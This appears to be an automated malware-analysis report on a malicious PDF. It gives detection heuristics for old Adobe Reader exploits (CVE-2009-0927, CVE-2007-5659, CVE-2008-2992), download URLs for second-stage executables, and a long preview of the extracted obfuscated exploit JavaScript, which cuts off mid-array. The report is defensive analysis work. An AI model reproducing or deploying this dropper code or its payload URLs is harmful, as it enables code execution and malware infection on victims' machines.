PDF malware analysis — malicious · 8790790e501bbb0f

MALICIOUS

PDF

75.1 KB Created: 2009-11-13 19:48:25 Authoring application: PDF Library 3.3.7 (via PDF Library 2.6.2) First seen: 2012-07-12

MD5: 66cd87b3834039a1bb3af7411574f505 SHA-1: dc9a7264b39b3bf682e9febd5e8c8e154dd77195 SHA-256: 8790790e501bbb0f7634c614577d4c6a7bfe79d6d6fa00583c177174790ce48a

590 Risk Score

Malware Insights

MITRE ATT&CK

T1203 Exploitation for Client Execution T1059.007 JavaScript

This PDF file contains obfuscated JavaScript that exploits multiple known vulnerabilities in Adobe Reader, including CVE-2009-0927, CVE-2007-5659, and CVE-2008-2992. The deobfuscated JavaScript indicates that it downloads and executes a second-stage payload from the URLs provided. The ClamAV detection and ML classifier further confirm its malicious nature.

Machine Learning

Nyx PDF Classifier malicious score 0.9999

Heuristics 13

Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927

PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659

PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992

PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH

A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
ClamAV: Pdf.Exploit.Agent-36110 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Pdf.Exploit.Agent-36110
Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT

One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
JavaScript action low 3 related findings PDF_JAVASCRIPT

PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
PDF JavaScript rebuilds a builtin via replace() to run a char-code array critical PDF_JS_REPLACE_OBFUSCATED_CHARCODE_BUILDER

Decoded PDF JavaScript resolves a String builtin from a junked literal — e.g. String['eQvoaol3'.replace(/[3oQS5]/g,'')] yielding fromCharCode/eval — and feeds a large numeric char-code array through it to rebuild and execute the next stage. Dynamically reconstructing a builtin name by stripping junk characters has no benign purpose; paired with the char-code payload array it is an unambiguous obfuscated-JavaScript exploit dropper.
PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL

Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
Embedded JS stream low PDF_JS

PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
ASCIIHexDecode filter (with exploit indicators) medium PDF_FILTER_HEX

Hex-encoding filter present alongside exploit delivery indicators — often used to hide payload or shellcode bytes
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://images-dns.com/cfnu2.exe Referenced by PDF JavaScript
- http://images-dns.com/click.php?r=Referenced by PDF JavaScript
- http://images-dns.com/djnrsy2.exeReferenced by PDF JavaScript
- http://images-dns.com/agtu2.exeReferenced by PDF JavaScript

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`javascript_obj0007_000.js`	pdf-javascript-stream	PDF /JS object 7 at offset 0x1A5	37918 bytes
SHA-256: `fa882355cf3dd0a5d29102d2ccef72679a5edd03a1cd208759be67922944ab55`
Preview script First 1,000 lines of the extracted script var bknr="bknr";dgnu='';hinsy='';nrtw=8434;elnps=26430;fmopwy="fmopwy";lmsy='';efgkpr=62029;bfikn=true;zqakrw="";kosx="";hmuy="";bdloq="";mqsvw="mqsvw";bgotv='';var ltzcr='',acglqy="acglqy",amnpsv=58778,amrsw=0,zcbfu=String,defgqy=zcbfu['fPrXoPmXC1hqaqr1CPoQdPeX'.replace(/[XP1Qq]/g,'')],gjwx=String,tzodkc=gjwx['eEvKaQlK'.replace(/[KEdQy]/g,'')],tozg="35",lmpqw="",hjrvwx=[64,63,60,155,168,163,150,169,156,164,161,85,153,158,171,148,156,169,91,174,148,167,166,165,95,85,159,154,161,94,174,66,61,62,60,172,155,158,159,154,83,93,172,150,165,168,163,99,159,154,161,156,167,157,83,95,83,103,83,113,83,161,152,163,92,176,64,63,60,62,60,174,148,167,166,165,83,96,112,85,172,150,165,168,163,112,64,63,60,62,176,66,61,62,60,174,148,167,166,165,83,114,83,174,148,167,166,165,97,168,168,151,166,169,165,158,161,156,91,101,95,85,159,154,161,100,101,94,110,66,61,62,60,167,152,169,168,167,161,85,172,150,165,168,163,112,64,63,60,178,64,63,64,63,60,155,168,163,150,169,156,164,161,85,168,169,156,161,146,165,165,158,161,169,153,93,92,176,64,63,60,62,169,150,165,85,163,150,172,161,162,150,151,85,112,85,168,163,152,168,150,150,163,154,91,87,88,170,120,119,120,110,88,170,99,101,99,102,88,170,104,107,99,101,88,170,116,102,105,105,88,170,99,101,102,101,88,170,99,101,99,101,88,170,103,101,107,119,88,170,107,119,99,120,88,170,100,120,106,101,88,170,107,119,116,121,88,170,99,109,103,101,88,170,118,104,104,122,88,170,107,119,104,106,88,170,107,119,120,120,88,170,99,109,103,106,88,170,102,104,104,103,88,170,118,102,119,103,88,170,99,104,118,103,88,170,100,101,102,103,88,170,107,101,103,101,88,170,99,101,102,109,88,170,121,106,106,106,88,170,118,103,107,119,88,170,104,121,104,118,88,170,99,105,118,103,88,170,104,106,99,101,88,170,120,120,107,119,88,170,104,102,104,102,88,170,104,107,104,104,88,170,105,101,104,108,88,170,104,121,107,119,88,170,102,104,99,109,88,170,107,119,118,101,88,170,99,120,106,106,88,170,121,122,107,119,88,170,106,107,99,104,88,170,107,119,102,120,88,170,106,109,103,122,88,170,118,123,99,104,88,170,104,102,107,119,88,170,104,103,100,120,88,170,104,102,107,119,88,170,104,103,101,105,88,170,106,102,107,119,88,170,103,122,100,105,88,170,106,106,107,110,88,170,107,119,121,120,88,170,101,101,106,102,88,170,121,108,99,104,88,170,103,118,108,110,88,170,103,103,116,121,88,170,102,119,105,101,88,170,121,120,104,106,88,170,99,105,106,106,88,170,118,101,102,104,88,170,102,108,120,119,88,170,121,123,102,104,88,170,103,106,99,104,88,170,108,108,99,120,88,170,118,123,107,119,88,170,106,106,116,122,88,170,101,119,121,121,88,170,103,123,121,110,88,170,120,109,104,102,88,170,121,123,108,105,88,170,121,123,121,123,88,170,118,104,102,119,88,170,106,105,105,102,88,170,120,119,99,103,88,170,107,119,119,110,88,170,99,120,103,106,88,170,104,122,108,103,88,170,121,103,99,104,88,170,120,101,119,102,88,170,118,107,99,104,88,170,118,110,102,104,88,170,117,108,99,123,88,170,104,123,99,109,88,170,120,102,118,102,88,170,99,104,99,103,88,170,99,104,118,118,88,170,107,119,118,123,88,170,99,104,99,102,88,170,107,110,118,103,88,170,121,109,103,106,88,170,107,119,105,102,88,170,121,109,103,106,88,170,104,122,104,123,88,170,118,110,104,119,88,170,104,106,118,104,88,170,120,120,107,119,88,170,120,109,104,102,88,170,121,123,103,110,88,170,121,123,121,123,88,170,105,109,104,101,88,170,105,101,120,109,88,170,99,105,117,123,88,170,105,120,120,109,88,170,121,123,121,123,88,170,102,104,121,123,88,170,104,103,119,103,88,170,121,123,104,103,88,170,99,109,106,106,88,170,119,101,121,123,88,170,103,106,107,110,88,170,107,119,121,120,88,170,121,120,103,106,88,170,118,104,118,110,88,170,107,119,104,106,88,170,107,104,120,120,88,170,99,120,120,120,88,170,103,106,107,121,88,170,104,101,121,105,88,170,103,106,118,107,88,170,106,106,121,105,88,170,103,106,118,107,88,170,106,103,121,106,88,170,103,106,118,107,88,170,105,120,121,107,88,170,103,106,118,107,88,170,105,121,121,108,88,170,103,106,118,107,88,170,105,123,121,109,88,170,103,106,118,107,88,170,105,122,121,110,88,170,103,106,118,107,88,170,101,122,121,118,88,170,103,106,118,107,88,170,105,105,121,119,88,170,103,106,118,107,88,170,105,120,121,120,88,170,103,106,118,107,88,170,105,120,121,121,88,170,103,106,118,107,88,170,99,101,121,122,88,170,116,101,120,109,88,170,121,123,121,123,88,170,104,101,121,123,88,170,104,121,105,109,88,170,100,102,107,118,88,170,120,109,100,107,88,170,121,123,100,106,88,170,121,123,121,123,88,170,118,105,107,104,88,170,107,106,99,120,88,170,106,105,118,101,88,170,105,118,100,106,88,170,105,118,99,101,88,170,121,123,99,101,88,170,99,120,106,106,88,170,106,106,121,123,88,170,105,118,99,109,88,170,121,123,99,101,88,170,107,106,119,101,88,170,106,106,118,101,88,170,103,101,99,104,88,170,118,104,118,110,88,170,118,101,102,104,88,170,118,104,118,110,88,170,102,104,104,108,88,170,107,119,118,101,88,170,101,105,103,120,88,170,107,119,99,120,88,170,101,105,106,120,88,170,121,120,99,109,88,170,116,118,121,104,88,170,118,104,104,123,88,170,103,120,107,119,88,170,99,105,101,105,88,170,102,110,107,101,88,170,107,119,99,101,88,170,106,105,118,102,88,170,103,101,99,107,88,170,102,109,107,101,88,170,106,106,99,101,88,170,101,119,121,118,88,170,118,104,118,102,88,170,107,119,104,106,88,170,107,104,120,120,88,170,105,105,120,120,88,170,107,121,104,104,88,170,121,101,103,106,88,170,102,104,104,108,88,170,104,101,119,119,88,170,103,106,118,107,88,170,105,119,121,101,88,170,103,106,118,107,88,170,105,106,121,102,88,170,103,106,118,107,88,170,106,103,121,103,88,170,103,106,118,107,88,170,105,122,121,104,88,170,103,106,118,107,88,170,105,106,121,105,88,170,103,106,118,107,88,170,105,120,121,106,88,170,103,106,118,107,88,170,102,104,121,107,88,170,103,106,118,107,88,170,102,103,121,108,88,170,103,106,118,107,88,170,101,122,121,109,88,170,103,106,118,107,88,170,105,105,121,110,88,170,103,106,118,107,88,170,105,120,121,118,88,170,103,106,118,107,88,170,105,120,121,119,88,170,104,121,107,109,88,170,120,109,121,120,88,170,121,123,99,119,88,170,121,123,121,123,88,170,105,109,104,101,88,170,103,104,105,109,88,170,107,122,121,110,88,170,107,101,120,109,88,170,121,123,121,122,88,170,107,119,121,123,88,170,107,121,121,109,88,170,108,120,103,106,88,170,103,105,105,118,88,170,120,109,104,101,88,170,121,123,106,122,88,170,121,123,121,123,88,170,103,106,107,121,88,170,105,118,120,101,88,170,104,101,100,101,88,170,106,104,120,109,88,170,121,123,121,123,88,170,107,104,121,123,88,170,100,120,118,105,88,170,103,106,107,121,88,170,104,101,120,101,88,170,103,106,107,121,88,170,104,101,108,120,88,170,104,104,104,104,88,170,104,104,104,104,88,170,104,104,104,104,88,170,106,106,121,123,88,170,118,108,99,109,88,170,108,120,103,106,88,170,99,101,103,105,88,170,99,101,99,101,88,170,121,123,104,104,88,170,104,123,119,108,88,170,117,107,99,123,88,170,104,119,118,101,88,170,118,104,118,110,88,170,107,119,104,106,88,170,104,102,120,120,88,170,104,104,104,102,88,170,104,108,104,107,88,170,103,103,105,118,88,170,106,103,120,109,88,170,99,101,99,101,88,170,107,119,99,101,88,170,102,104,119,109,88,170,107,106,121,107,88,170,104,110,119,119,88,170,103,106,118,108,88,170,105,102,121,109,88,170,105,106,101,122,88,170,118,108,106,109,88,170,121,120,103,106,88,170,99,101,105,106,88,170,99,101,99,101,88,170,104,107,106,122,88,170,103,106,107,121,88,170,104,101,121,109,88,170,120,109,104,107,88,170,99,101,104,102,88,170,99,101,99,101,88,170,104,101,104,110,88,170,117,102,120,109,88,170,121,123,121,122,88,170,107,106,121,123,88,170,104,110,118,101,88,170,106,105,104,110,88,170,107,121,102,110,88,170,99,102,103,107,88,170,120,109,104,101,88,170,99,101,102,119,88,170,99,101,99,101,88,170,121,109,107,119,88,170,103,106,107,121,88,170,104,101,121,109,88,170,101,102,120,109,88,170,121,123,121,123,88,170,107,106,121,123,88,170,104,110,118,101,88,170,106,105,104,110,88,170,104,108,99,120,88,170,99,102,120,109,88,170,121,123,121,123,88,170,104,110,121,123,88,170,103,105,118,107,88,170,121,123,102,109,88,170,104,101,106,104,88,170,103,106,107,121,88,170,121,122,121,109,88,170,104,109,99,101,88,170,103,106,107,121,88,170,104,101,121,109,88,170,120,109,104,108,88,170,121,122,106,105,88,170,121,123,121,123,88,170,104,110,104,110,88,170,103,107,103,107,88,170,121,104,102,119,88,170,116,118,106,120,88,170,104,122,104,123,88,170,118,110,104,119,88,170,104,106,118,104,88,170,120,120,107,119,88,170,104,104,104,102,88,170,105,101,105,107,88,170,102,103,117,102,88,170,99,101,120,109,88,170,99,101,99,101,88,170,104,109,99,101,88,170,99,109,102,109,88,170,99,104,106,105,88,170,120,119,103,101,88,170,103,101,121,110,88,170,104,121,107,119,88,170,107,101,99,109,88,170,103,103,121,119,88,170,99,109,106,106,88,170,119,119,102,104,88,170,100,109,107,118,88,170,118,104,107,119,88,170,100,108,120,119,88,170,100,109,102,109,88,170,100,102,106,107,88,170,102,104,103,101,88,170,107,105,118,110,88,170,106,105,119,119,88,170,103,101,99,120,88,170,99,109,102,109,88,170,121,119,106,106,88,170,121,122,103,101,88,170,120,119,118,119,88,170,102,104,121,103,88,170,107,110,118,101,88,170,121,120,103,106,88,170,103,106,107,119,88,170,104,119,121,120,88,170,118,104,118,110,88,170,99,103,102,103,88,170,106,105,105,109,88,170,106,101,106,105,88,170,101,123,102,118,88,170,105,110,101,123,88,170,105,102,105,121,88,170,105,106,105,108,88,170,101,121,106,104,88,170,105,122,105,105,88,170,101,122,106,104,88,170,105,123,105,104,88,170,101,123,105,121,88,170,105,107,105,104,88,170,106,106,105,122,88,170,101,122,102,103,88,170,106,109,105,106,88,170,99,101,105,106,88,170,106,105,105,109,88,170,106,101,106,105,88,170,101,123,102,118,88,170,105,110,101,123,88,170,105,102,105,121,88,170,105,106,105,108,88,170,101,121,106,104,88,170,105,122,105,105,88,170,101,122,106,104,88,170,105,123,105,104,88,170,101,123,105,121,88,170,105,120,105,104,88,170,105,104,105,110,88,170,101,122,105,119,88,170,105,109,106,101,88,170,102,123,106,101,88,170,102,121,106,103,88,170,99,101,99,101,85,94,110,66,61,62,60,171,148,167,83,163,162,165,83,114,83,170,161,154,166,152,148,165,152,93,85,90,168,101,116,101,116,90,168,101,116,101,116,90,168,101,116,101,116,90,168,101,116,101,116,87,92,66,61,62,60,171,148,167,83,157,152,150,163,151,159,164,150,160,83,114,83,163,162,165,83,96,83,165,148,174,159,164,148,153,110,66,61,62,60,171,148,167,83,151,156,156,149,161,162,152,158,85,112,85,168,163,152,168,150,150,163,154,91,87,88,170,99,118,99,118,88,170,99,118,99,118,85,94,110,66,61,62,60,171,148,167,83,157,152,150,151,154,165,168,156,175,152,85,112,85,101,101,110,66,61,62,60,171,148,167,83,168,163,167,148,174,83,114,83,157,152,150,151,154,165,168,156,175,152,85,94,85,155,154,148,165,149,161,162,152,158,99,159,154,161,156,167,157,110,66,61,62,60,172,155,158,159,154,83,93,149,158,154,151,159,164,150,160,97,161,152,163,154,169,155,85,111,85,166,165,165,150,172,94,174,66,61,62,60,62,149,158,154,151,159,164,150,160,83,96,112,85,149,158,154,151,159,164,150,160,110,66,61,62,60,178,64,63,60,62,169,150,165,85,153,158,159,161,149,161,162,152,158,85,112,85,149,158,154,151,159,164,150,160,97,168,168,151,166,169,165,158,161,156,91,101,95,85,166,165,165,150,172,94,110,66,61,62,60,171,148,167,83,151,159,164,150,160,83,114,83,151,156,156,149,161,162,152,158,99,166,170,149,168,167,167,156,163,154,93,99,97,83,151,156,156,149,161,162,152,158,99,159,154,161,156,167,157,96,168,163,167,148,174,92,112,64,63,60,62,170,157,156,161,152,85,91,151,159,164,150,160,97,161,152,163,154,169,155,96,166,165,165,150,172,85,111,85,99,173,103,101,99,101,99,94,174,66,61,62,60,62,149,161,162,152,158,85,112,85,149,161,162,152,158,85,94,85,149,161,162,152,158,85,94,85,153,158,159,161,149,161,162,152,158,112,64,63,60,62,176,66,61,62,60,171,148,167,83,162,152,162,146,150,165,167,148,174,83,114,83,163,152,172,83,118,165,167,148,174,91,94,110,66,61,62,60,155,162,167,83,93,169,150,165,85,156,85,112,85,99,112,83,158,83,113,83,102,103,101,99,112,83,158,94,96,92,176,64,63,60,62,60,162,152,162,146,150,165,167,148,174,142,158,144,85,112,85,149,161,162,152,158,85,94,85,155,154,148,165,149,161,162,152,158,112,64,63,60,62,176,66,61,62,60,171,148,167,83,163,168,162,83,114,83,102,101,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,110,108,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,109,107,112,64,63,60,62,168,169,156,161,97,165,165,158,161,169,153,93,85,90,103,106,99,101,99,155,85,97,83,163,168,162,92,112,64,63,60,178,64,63,64,63,60,155,168,163,150,169,156,164,161,85,150,164,159,161,148,151,146,154,160,150,156,161,91,94,174,66,61,62,60,171,148,167,83,168,155,154,159,161,150,164,151,154,83,114,83,170,161,154,166,152,148,165,152,93,85,90,168,122,117,122,108,90,168,101,99,101,100,90,168,106,105,101,99,90,168,118,100,107,103,90,168,101,99,104,99,90,168,101,99,101,99,90,168,105,99,109,117,90,168,109,117,101,118,90,168,102,118,108,99,90,168,109,117,118,119,90,168,101,107,105,99,90,168,120,102,106,120,90,168,109,117,106,104,90,168,109,117,122,118,90,168,101,107,105,104,90,168,104,102,106,101,90,168,120,100,121,101,90,168,101,102,120,101,90,168,102,99,104,101,90,168,109,99,105,99,90,168,101,99,104,107,90,168,123,104,108,104,90,168,120,101,109,117,90,168,106,119,106,116,90,168,101,103,120,101,90,168,106,104,101,99,90,168,122,118,109,117,90,168,106,100,106,100,90,168,106,105,106,102,90,168,107,99,106,106,90,168,106,119,109,117,90,168,104,102,101,107,90,168,109,117,120,99,90,168,101,118,108,104,90,168,123,120,109,117,90,168,108,105,101,102,90,168,109,117,104,118,90,168,108,107,105,120,90,168,120,121,101,102,90,168,106,100,109,117,90,168,106,101,102,118,90,168,106,100,109,117,90,168,106,101,103,103,90,168,108,100,109,117,90,168,105,120,102,103,90,168,108,104,109,108,90,168,109,117,123,118,90,168,103,99,108,100,90,168,123,106,101,102,90,168,105,116,110,108,90,168,105,101,118,119,90,168,104,117,107,99,90,168,123,118,106,104,90,168,101,103,108,104,90,168,120,99,104,102,90,168,104,106,122,117,90,168,123,121,104,102,90,168,105,104,101,102,90,168,110,106,101,118,90,168,120,121,109,117,90,168,108,104,118,120,90,168,103,117,123,119,90,168,105,121,123,108,90,168,122,107,106,100,90,168,123,121,110,103,90,168,123,121,123,121,90,168,120,102,104,117,90,168,108,103,107,100,90,168,122,117,101,101,90,168,109,117,121,108,90,168,101,118,105,104,90,168,106,120,110,101,90,168,123,101,101,102,90,168,122,99,121,100,90,168,120,105,101,102,90,168,120,108,104,102,90,168,119,106,101,121,90,168,106,121,101,107,90,168,122,100,120,100,90,168,101,102,101,101,90,168,101,102,120,116,90,168,109,117,120,121,90,168,101,102,101,100,90,168,109,108,120,101,90,168,123,107,105,104,90,168,109,117,107,100,90,168,123,107,105,104,90,168,106,120,106,121,90,168,120,108,106,117,90,168,106,104,120,102,90,168,122,118,109,117,90,168,122,107,106,100,90,168,123,121,105,108,90,168,123,121,123,121,90,168,107,107,106,99,90,168,107,99,122,107,90,168,101,103,119,121,90,168,107,118,122,107,90,168,123,121,123,121,90,168,104,102,123,121,90,168,106,101,121,101,90,168,123,121,106,101,90,168,101,107,108,104,90,168,121,99,123,121,90,168,105,104,109,108,90,168,109,117,123,118,90,168,123,118,105,104,90,168,120,102,120,108,90,168,109,117,106,104,90,168,109,102,122,118,90,168,101,118,122,118,90,168,105,104,109,119,90,168,106,99,123,103,90,168,105,104,120,105,90,168,108,104,123,103,90,168,105,104,120,105,90,168,108,101,123,104,90,168,105,104,120,105,90,168,107,118,123,105,90,168,105,104,120,105,90,168,107,119,123,106,90,168,105,104,120,105,90,168,107,121,123,107,90,168,105,104,120,105,90,168,107,120,123,108,90,168,105,104,120,105,90,168,103,120,123,116,90,168,105,104,120,105,90,168,107,103,123,117,90,168,105,104,120,105,90,168,107,118,123,118,90,168,105,104,120,105,90,168,107,118,123,119,90,168,105,104,120,105,90,168,101,99,123,120,90,168,118,99,122,107,90,168,123,121,123,121,90,168,106,99,123,121,90,168,106,119,107,107,90,168,102,100,109,116,90,168,122,107,102,105,90,168,123,121,102,104,90,168,123,121,123,121,90,168,120,103,109,102,90,168,109,104,101,118,90,168,108,103,120,99,90,168,107,116,102,104,90,168,107,116,101,99,90,168,123,121,101,99,90,168,101,118,108,104,90,168,108,104,123,121,90,168,107,116,101,107,90,168,123,121,101,99,90,168,109,104,121,99,90,168,108,104,120,99,90,168,105,99,101,102,90,168,120,102,120,108,90,168,120,99,104,102,90,168,120,102,120,108,90,168,104,102,106,106,90,168,109,117,120,99,90,168,103,103,105,118,90,168,109,117,101,118,90,168,103,103,108,118,90,168,123,118,101,107,90,168,118,116,123,102,90,168,120,102,106,121,90,168,105,118,109,117,90,168,101,103,103,103,90,168,104,108,109,99,90,168,109,117,101,99,90,168,108,103,120,100,90,168,105,99,101,105,90,168,104,107,109,99,90,168,108,104,101,99,90,168,103,117,123,116,90,168,120,102,120,100,90,168,109,117,106,104,90,168,109,102,122,118,90,168,107,103,122,118,90,168,109,119,106,102,90,168,123,99,105,104,90,168,104,102,106,106,90,168,106,99,121,117,90,168,105,104,120,105,90,168,107,117,123,99,90,168,105,104,120,105,90,168,107,104,123,100,90,168,105,104,120,105,90,168,108,101,123,101,90,168,105,104,120,105,90,168,107,120,123,102,90,168,105,104,120,105,90,168,107,104,123,103,90,168,105,104,120,105,90,168,107,118,123,104,90,168,105,104,120,105,90,168,104,102,123,105,90,168,105,104,120,105,90,168,104,101,123,106,90,168,105,104,120,105,90,168,103,120,123,107,90,168,105,104,120,105,90,168,107,103,123,108,90,168,105,104,120,105,90,168,107,118,123,116,90,168,105,104,120,105,90,168,107,118,123,117,90,168,106,119,109,107,90,168,122,107,123,118,90,168,123,121,101,117,90,168,123,121,123,121,90,168,107,107,106,99,90,168,105,102,107,107,90,168,109,120,123,108,90,168,109,99,122,107,90,168,123,121,123,120,90,168,109,117,123,121,90,168,109,119,123,107,90,168,110,118,105,104,90,168,105,103,107,116,90,168,122,107,106,99,90,168,123,121,108,120,90,168,123,121,123,121,90,168,105,104,109,119,90,168,107,116,122,99,90,168,106,99,102,99,90,168,108,102,122,107,90,168,123,121,123,121,90,168,109,102,123,121,90,168,102,118,120,103,90,168,105,104,109,119,90,168,106,99,122,99,90,168,105,104,109,119,90,168,106,99,110,118,90,168,106,102,106,102,90,168,106,102,106,102,90,168,106,102,106,102,90,168,108,104,123,121,90,168,120,106,101,107,90,168,110,118,105,104,90,168,101,99,105,103,90,168,101,99,101,99,90,168,123,121,106,102,90,168,106,121,121,106,90,168,119,105,101,121,90,168,106,117,120,99,90,168,120,102,120,108,90,168,109,117,106,104,90,168,106,100,122,118,90,168,106,102,106,100,90,168,106,106,106,105,90,168,105,101,107,116,90,168,108,101,122,107,90,168,101,99,101,99,90,168,109,117,101,99,90,168,104,102,121,107,90,168,109,104,123,105,90,168,106,108,121,117,90,168,105,104,120,106,90,168,107,100,123,107,90,168,107,104,103,120,90,168,120,106,108,107,90,168,123,118,105,104,90,168,101,99,107,104,90,168,101,99,101,99,90,168,106,105,108,120,90,168,105,104,109,119,90,168,106,99,123,107,90,168,122,107,106,105,90,168,101,99,106,100,90,168,101,99,101,99,90,168,106,99,106,108,90,168,119,100,122,107,90,168,123,121,123,120,90,168,109,104,123,121,90,168,106,108,120,99,90,168,108,103,106,108,90,168,109,119,104,108,90,168,101,100,105,105,90,168,122,107,106,99,90,168,101,99,104,117,90,168,101,99,101,99,90,168,123,107,109,117,90,168,105,104,109,119,90,168,106,99,123,107,90,168,103,100,122,107,90,168,123,121,123,121,90,168,109,104,123,121,90,168,106,108,120,99,90,168,108,103,106,108,90,168,106,106,101,118,90,168,101,100,122,107,90,168,123,121,123,121,90,168,106,108,123,121,90,168,105,103,120,105,90,168,123,121,104,107,90,168,106,99,108,102,90,168,105,104,109,119,90,168,123,120,123,107,90,168,106,107,101,99,90,168,105,104,109,119,90,168,106,99,123,107,90,168,122,107,106,106,90,168,123,120,108,103,90,168,123,121,123,121,90,168,106,108,106,108,90,168,105,105,105,105,90,168,123,102,104,117,90,168,118,116,108,118,90,168,106,120,106,121,90,168,120,108,106,117,90,168,106,104,120,102,90,168,122,118,109,117,90,168,106,102,106,100,90,168,107,99,107,105,90,168,104,101,119,100,90,168,101,99,122,107,90,168,101,99,101,99,90,168,106,107,101,99,90,168,101,107,104,107,90,168,101,102,108,103,90,168,122,117,105,99,90,168,105,99,123,108,90,168,106,119,109,117,90,168,109,99,101,107,90,168,105,101,123,117,90,168,101,107,108,104,90,168,121,117,104,102,90,168,102,107,109,116,90,168,120,102,109,117,90,168,102,106,122,117,90,168,102,107,104,107,90,168,102,100,108,105,90,168,104,102,105,99,90,168,109,103,120,108,90,168,108,103,121,117,90,168,105,99,101,118,90,168,101,107,104,107,90,168,123,117,108,104,90,168,123,120,105,99,90,168,122,117,120,117,90,168,104,102,123,101,90,168,109,108,120,99,90,168,123,118,105,104,90,168,105,104,109,117,90,168,106,117,123,118,90,168,120,102,120,108,90,168,101,101,104,101,90,168,108,103,107,107,90,168,108,99,108,103,90,168,103,121,104,116,90,168,107,108,103,121,90,168,107,100,107,119,90,168,107,104,107,106,90,168,103,119,108,102,90,168,107,120,107,103,90,168,103,120,108,102,90,168,107,121,107,102,90,168,103,121,107,119,90,168,107,116,107,103,90,168,108,101,107,120,90,168,108,108,108,102,90,168,103,120,104,101,90,168,108,107,107,104,90,168,101,99,107,104,90,168,108,103,107,107,90,168,108,99,108,103,90,168,103,121,104,116,90,168,107,108,103,121,90,168,107,100,107,119,90,168,107,104,107,106,90,168,103,119,108,102,90,168,107,120,107,103,90,168,103,120,108,102,90,168,107,121,107,102,90,168,103,121,107,119,90,168,107,118,107,102,90,168,107,102,107,108,90,168,103,120,107,117,90,168,107,107,108,99,90,168,104,121,108,99,90,168,104,119,108,101,90,168,101,99,101,99,87,92,112,64,63,60,62,169,150,165,85,160,154,160,148,148,167,165,150,172,85,112,85,161,154,170,85,116,167,165,150,172,93,92,112,64,63,60,62,169,150,165,85,150,152,83,114,83,101,171,101,150,101,150,101,150,101,150,112,64,63,60,62,169,150,165,85,148,153,151,167,83,114,83,101,171,105,99,101,99,101,99,112,64,63,60,62,169,150,165,85,166,152,146,161,152,163,83,114,83,168,155,154,159,161,150,164,151,154,97,161,152,163,154,169,155,85,93,85,101,112,64,63,60,62,169,150,165,85,159,154,161,85,112,85,148,153,151,167,83,98,83,93,166,152,146,161,152,163,94,101,171,104,107,94,110,66,61,62,60,171,148,167,83,174,148,167,166,165,83,114,83,170,161,154,166,152,148,165,152,93,85,90,168,110,99,110,99,90,168,110,99,110,99,87,92,112,64,63,60,62,172,150,165,168,163,85,112,85,153,158,171,148,156,169,91,174,148,167,166,165,95,85,159,154,161,94,110,66,61,62,60,171,148,167,83,152,162,170,161,169,101,85,112,85,91,152,150,85,96,85,99,173,103,101,99,101,99,101,92,100,148,153,151,167,110,66,61,62,60,155,162,167,83,93,169,150,165,85,150,164,168,163,167,85,112,85,99,112,83,152,162,170,161,169,83,113,83,152,162,170,161,169,101,112,83,152,162,170,161,169,94,96,92,176,64,63,60,62,60,162,152,162,146,150,165,167,148,174,142,152,162,170,161,169,144,85,112,85,172,150,165,168,163,85,94,85,166,157,152,161,159,152,162,153,152,112,64,63,60,62,176,66,61,62,60,171,148,167,83,164,169,154,165,155,159,164,170,85,112,85,168,163,